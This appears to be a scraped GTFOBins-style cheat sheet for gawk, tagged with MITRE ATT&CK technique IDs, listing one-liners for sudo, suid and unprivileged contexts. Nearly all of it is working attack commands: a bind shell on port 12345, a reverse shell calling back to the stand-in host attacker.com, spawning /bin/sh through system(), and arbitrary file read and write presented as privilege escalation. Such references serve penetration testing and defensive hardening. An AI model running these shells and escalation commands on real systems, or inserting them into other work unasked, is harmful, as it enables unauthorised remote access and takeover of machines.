bind-shell Reverse/Bind ShellPrivilege Escalation LinuxmacOS gawk 'BEGIN { s = "/inet/tcp/12345/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' copy Contextsudo Nativebind-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/gawk/
bind-shell Reverse/Bind ShellPrivilege Escalation LinuxmacOS gawk 'BEGIN { s = "/inet/tcp/12345/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' copy Contextsuid Nativebind-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/gawk/
bind-shell Reverse/Bind Shell LinuxmacOS gawk 'BEGIN { s = "/inet/tcp/12345/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' copy Contextunprivileged Nativebind-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/gawk/
file-read File ReadPrivilege Escalation LinuxmacOS gawk '//' /path/to/input-file copy Contextsudo Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/gawk/
file-read File ReadPrivilege Escalation LinuxmacOS gawk '//' /path/to/input-file copy Contextsuid Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/gawk/
file-read File Read LinuxmacOS gawk '//' /path/to/input-file copy Contextunprivileged Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/gawk/
file-write File WritePrivilege Escalation LinuxmacOS gawk 'BEGIN { print "DATA" > "/path/to/output-file" }' copy Contextsudo Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/gawk/
file-write File WritePrivilege Escalation LinuxmacOS gawk 'BEGIN { print "DATA" > "/path/to/output-file" }' copy Contextsuid Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/gawk/
file-write File Write LinuxmacOS gawk 'BEGIN { print "DATA" > "/path/to/output-file" }' copy Contextunprivileged Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/gawk/
reverse-shell Reverse/Bind ShellPrivilege Escalation LinuxmacOS gawk 'BEGIN { s = "/inet/tcp/0/attacker.com/12345"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' copy Contextsudo Nativereverse-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/gawk/
reverse-shell Reverse/Bind ShellPrivilege Escalation LinuxmacOS gawk 'BEGIN { s = "/inet/tcp/0/attacker.com/12345"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' copy Contextsuid Nativereverse-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/gawk/
reverse-shell Reverse/Bind Shell LinuxmacOS gawk 'BEGIN { s = "/inet/tcp/0/attacker.com/12345"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' copy Contextunprivileged Nativereverse-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/gawk/
shell ExecutionPrivilege Escalation LinuxmacOS gawk 'BEGIN {system("/bin/sh")}' copy Contextsudo Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/gawk/
shell ExecutionPrivilege Escalation LinuxmacOS gawk 'BEGIN {system("/bin/sh")}' copy Contextsuid Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/gawk/
shell Execution LinuxmacOS gawk 'BEGIN {system("/bin/sh")}' copy Contextunprivileged Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/gawk/